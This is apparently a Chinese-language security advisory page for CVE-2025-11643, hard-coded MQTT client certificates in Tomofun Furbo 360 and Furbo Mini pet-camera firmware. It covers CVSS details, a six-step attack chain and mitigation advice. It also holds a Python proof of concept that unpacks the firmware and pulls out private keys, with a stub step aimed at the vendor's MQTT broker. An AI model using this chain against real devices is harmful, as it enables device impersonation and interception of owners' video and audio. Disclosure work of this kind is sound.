IPBUF安全漏洞报告
English
CVE-2025-11643 CVSS 3.7 低危

CVE-2025-11643 Tomofun Furbo系列硬编码凭证漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-11643
漏洞类型
硬编码凭证(Hard-coded Credentials)
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tomofun Furbo 360 和 Tomofun Furbo Mini

相关标签

硬编码凭证MQTTIoT安全智能摄像头TomofunFurbo 360Furbo Mini固件安全中间人攻击证书泄露

漏洞概述

CVE-2025-11643是Tomofun公司旗下Furbo 360和Furbo Mini智能宠物摄像机固件中发现的一个安全漏洞。该漏洞源于固件镜像文件/squashfs-root/furbo_img中MQTT客户端证书(MQTT Client Certificate)组件存在硬编码凭证问题。攻击者可以通过远程方式获取固件中硬编码的MQTT客户端证书凭据,利用这些凭据对设备的MQTT通信信道进行未授权访问或中间人攻击。该漏洞的CVSS 3.1评分为3.7分,属于低危级别。虽然攻击复杂度被评定为高(AC:H),且利用难度较大,但由于无需认证(PR:N)和无需用户交互(UI:N),仍然存在被远程利用的潜在风险。受影响的固件版本包括Furbo 360的FB0035_FW_036及更早版本,以及Furbo Mini的MC0020_FW_074及更早版本。Tomofun公司在漏洞披露前曾被联系,但未做出任何回应。该漏洞已于2025年10月12日公开披露,对使用相关产品的用户隐私安全构成潜在威胁。

技术细节

该漏洞的技术原理基于固件中MQTT客户端证书的硬编码存储问题。Furbo 360和Furbo Mini设备使用MQTT协议与云端服务器进行通信,客户端证书用于身份验证。漏洞存在于固件文件系统路径/squashfs-root/furbo_img中,该路径通常位于SquashFS压缩文件系统内。攻击者可以通过以下方式利用此漏洞:首先,通过网络远程获取设备的固件镜像文件(furbo_img),然后解压SquashFS文件系统以访问其中的MQTT客户端证书。由于证书是硬编码在固件中的,所有使用相同固件版本的设备共享相同的客户端证书和密钥。攻击者获取这些硬编码凭据后,可以:1)伪装成合法设备连接到Tomofun的MQTT服务器;2)解密或拦截设备与云端之间的MQTT通信流量;3)进行中间人攻击,窃取用户隐私数据(如视频流、音频数据等)。该漏洞的攻击向量为网络(AV:N),无需认证(PR:N)和用户交互(UI:N),但由于攻击复杂度较高(AC:H),实际利用需要一定的技术能力。漏洞主要影响完整性(I:L),对机密性(C:N)和可用性(A:N)影响较小。

攻击链分析

STEP 1
步骤1:固件获取
攻击者通过网络渠道获取Furbo 360或Furbo Mini设备的固件镜像文件(furbo_img),可通过固件更新服务器、第三方资源或物理接触设备等方式获得。
STEP 2
步骤2:文件系统提取
使用unsquashfs等工具解压固件中的SquashFS压缩文件系统,访问/squashfs-root/目录下的文件结构。
STEP 3
步骤3:证书定位
在解压后的文件系统中搜索MQTT客户端证书相关文件(.pem、.crt、.key等),定位硬编码的MQTT客户端证书和私钥。
STEP 4
步骤4:凭证提取
提取硬编码的MQTT客户端证书和私钥内容,这些凭证在所有使用相同固件版本的设备中是相同的。
STEP 5
步骤5:MQTT通信劫持
使用提取的硬编码凭证连接到Tomofun的MQTT代理服务器,伪装成合法设备进行通信,或解密设备与云端之间的加密流量。
STEP 6
步骤6:数据窃取
通过中间人攻击或未授权访问,窃取用户隐私数据,包括视频流、音频数据、设备控制指令等敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11643 PoC - Hard-coded MQTT Client Certificate Extraction # This PoC demonstrates how to extract hard-coded credentials from Furbo firmware import requests import subprocess import os import tempfile def download_firmware(firmware_url, output_path): """Download the Furbo firmware image file""" print(f"[*] Downloading firmware from {firmware_url}") response = requests.get(firmware_url, stream=True) with open(output_path, 'wb') as f: for chunk in response.iter_content(chunk_size=8192): f.write(chunk) print(f"[+] Firmware saved to {output_path}") return output_path def extract_squashfs(firmware_path): """Extract SquashFS filesystem from firmware image""" output_dir = tempfile.mkdtemp(prefix="furbo_") print(f"[*] Extracting SquashFS to {output_dir}") # Use unsquashfs tool to extract the filesystem cmd = ["unsquashfs", "-d", os.path.join(output_dir, "squashfs-root"), firmware_path] try: subprocess.run(cmd, check=True, capture_output=True) print(f"[+] Extraction complete") return os.path.join(output_dir, "squashfs-root") except subprocess.CalledProcessError as e: print(f"[-] Extraction failed: {e.stderr.decode()}") return None def find_mqtt_certificates(extract_path): """Search for hard-coded MQTT client certificates in the extracted filesystem""" cert_patterns = [ "*.pem", "*.crt", "*.key", "*.cer", "mqtt*", "client*cert*", "client*key*" ] found_files = [] print(f"[*] Searching for MQTT certificates in {extract_path}") for pattern in cert_patterns: cmd = ["find", extract_path, "-name", pattern, "-type", "f"] result = subprocess.run(cmd, capture_output=True, text=True) for line in result.stdout.strip().split('\n'): if line: found_files.append(line) print(f"[+] Found: {line}") return found_files def extract_credentials(cert_files): """Extract credentials from certificate files""" credentials = {} for cert_file in cert_files: try: with open(cert_file, 'r') as f: content = f.read() if "BEGIN CERTIFICATE" in content or "BEGIN PRIVATE KEY" in content: credentials[cert_file] = content print(f"[+] Extracted credentials from {cert_file}") except Exception as e: print(f"[-] Error reading {cert_file}: {e}") return credentials def connect_mqtt_with_extracted_creds(broker, port, credentials): """Demonstrate connecting to MQTT broker using extracted hard-coded credentials""" # This is a demonstration - actual exploitation requires the MQTT broker details print(f"[*] Attempting MQTT connection to {broker}:{port} using extracted credentials") # Note: Real exploitation would use paho-mqtt or similar library # with the extracted client certificate for authentication print("[!] This demonstrates the vulnerability - hard-coded credentials can be reused") if __name__ == "__main__": # Step 1: Download firmware (example URL - actual URL would be from Tomofun update server) firmware_url = "https://example.com/furbo_firmware_update.img" firmware_path = "/tmp/furbo_img" # Step 2: Extract SquashFS filesystem extract_path = extract_squashfs(firmware_path) if extract_path: # Step 3: Find MQTT certificates cert_files = find_mqtt_certificates(extract_path) # Step 4: Extract hard-coded credentials credentials = extract_credentials(cert_files) # Step 5: Demonstrate exploitation if credentials: print(f"\n[!] VULNERABILITY CONFIRMED: Found {len(credentials)} hard-coded credential files") connect_mqtt_with_extracted_creds("mqtt.tomofun.com", 8883, credentials)

影响范围

Tomofun Furbo 360 <= FB0035_FW_036
Tomofun Furbo Mini <= MC0020_FW_074

防御指南

临时缓解措施
由于Tomofun公司未对该漏洞披露做出回应,建议用户采取以下临时缓解措施:1)将受影响的Furbo设备放置在隔离的网络环境中,限制其外部网络访问;2)在路由器上配置防火墙规则,阻止设备与未知MQTT服务器的通信;3)监控网络流量,检测是否存在异常的MQTT连接;4)考虑暂时停用设备的远程访问功能,仅在必要时启用;5)等待Tomofun发布安全更新后再恢复设备的正常使用;6)对于隐私敏感的环境,建议暂停使用受影响设备直至问题解决。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表